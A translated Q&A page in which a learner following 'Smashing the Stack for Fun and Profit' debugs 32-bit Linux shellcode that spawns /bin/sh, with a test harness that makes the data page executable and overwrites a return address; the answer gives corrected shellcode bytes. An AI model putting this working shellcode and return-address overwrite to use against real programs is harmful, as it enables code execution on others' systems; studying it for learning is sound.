【问题标题】:hex code implementation for spawning a shell生成外壳的十六进制代码实现
【发布时间】:2013-05-08 12:00:17
【问题描述】:

我正在尝试实现smashing the stack for fun and profit by Aleph 中给出的代码来学习缓冲区溢出攻击的基础知识。

机器架构:Ubuntu 12.10 64 位

在 gcc 中使用 -m32 标志编译的程序

到目前为止,我已经成功地使用汇编指令生成了一个 shell。下一步是将这些指令转换为十六进制代码,我遇到了这个问题。 生成 shell 的汇编代码:

    void main() {
         __asm__(
    "Start:"
    "jmp    CallCode\n\t"
    "CallPop:"                    
    "popl   %esi\n\t"
    "movl   %esi,0x8(%esp)\n\t"           
    "xorl   %eax,%eax\n\t"                
    "movb   %al,0x7(%esp)\n\t"      
    "movl   %eax,0xc(%esp)\n\t"           
    "movb   $0xb,%al\n\t"                 
    "movl   %esi,%ebx\n\t"                
    "leal   0x8(%esp),%ecx\n\t"           
    "leal   0xc(%esp),%edx\n\t"           
    "int    $0x80\n\t"                    
    "xorl   %ebx,%ebx\n\t"                
    "movl   %ebx,%eax\n\t"                
    "inc    %eax\n\t"                     
    "int    $0x80\n\t"
    "CallCode:"                   
    "call   CallPop\n\t"                    
    ".string \"/bin/sh\"\n\t"             

); }

对应的十六进制代码为:

    #include <sys/mman.h>
    #include<stdio.h>

    #define PAGE_SIZE 4096U

    char shellcode[]=                         "\xeb\x24\x5e\x89\x74\x24\x08\x31\xc0\x88\x44\x24\x07\x89\x44\x24\x0c\xb0"
        "\x0b\x89\xf3\x8d\x4c\x24\x08\x8d\x54\x24\x0c\xcd"
       "\x80\x31\x89\xd8\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";


    void test_shellcode() {

      int *ret;

// The data section is non-executable
// Change protection bits for the page containing our shellcode

      mprotect((void *)((unsigned int)shellcode & ~(PAGE_SIZE - 1)), 2 * PAGE_SIZE,   PROT_READ | PROT_WRITE | PROT_EXEC);

          ret = (int*)((char *)&ret + 16);
          (*ret) = (int)shellcode;
    }

     int main() {
      test_shellcode(); 
      return 0;
     } 

使用 GDB Debugger 进行了一些分析,得出了以下结果:

    (gdb) run
    Starting program: /home/peps/CCPP/Hello/testsc3 

    Program received signal SIGILL, Illegal instruction.
    0x0804a067 in shellcode ()
    (gdb) x/s 0x0804a067
    0x804a067 <shellcode+39>:   "\377\377\377/bin/sh"

应用断点后,我认为问题出在十六进制代码的某个地方,我无法弄清楚。另外,我似乎不明白这里非法指令的上下文。

任何帮助将不胜感激。

【问题讨论】:

  • gdb 能够反汇编机器代码(例如使用disx/i
  • 我已经用过 disassemble 命令很多次了,实际上它生成的汇编代码已经用在了第一个代码中,并且在查找返回地址方面也很有用。但是如何利用它来查找十六进制代码中的问题,我在这里没有想法。

标签: linux shell gcc hex buffer-overflow


【解决方案1】:

你在你的 shellcode 中犯了几个错误。

char shellcode[] = 
"\xeb\x24\x5e\x89\x74\x24\x08\x31"
"\xc0\x88\x44\x24\x07\x89\x44\x24"
"\x0c\xb0\x0b\x89\xf3\x8d\x4c\x24"
"\x08\x8d\x54\x24\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xd7"
"\xff\xff\xff/bin/sh";

【讨论】:

  • 成功了!!非常感谢!!这是多么愚蠢的错误!我的坏!
猜你喜欢
  • 2010-09-06
  • 2015-07-20
  • 2011-11-14
  • 2023-03-09
  • 2019-01-01
  • 2011-08-02
  • 2011-11-20
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多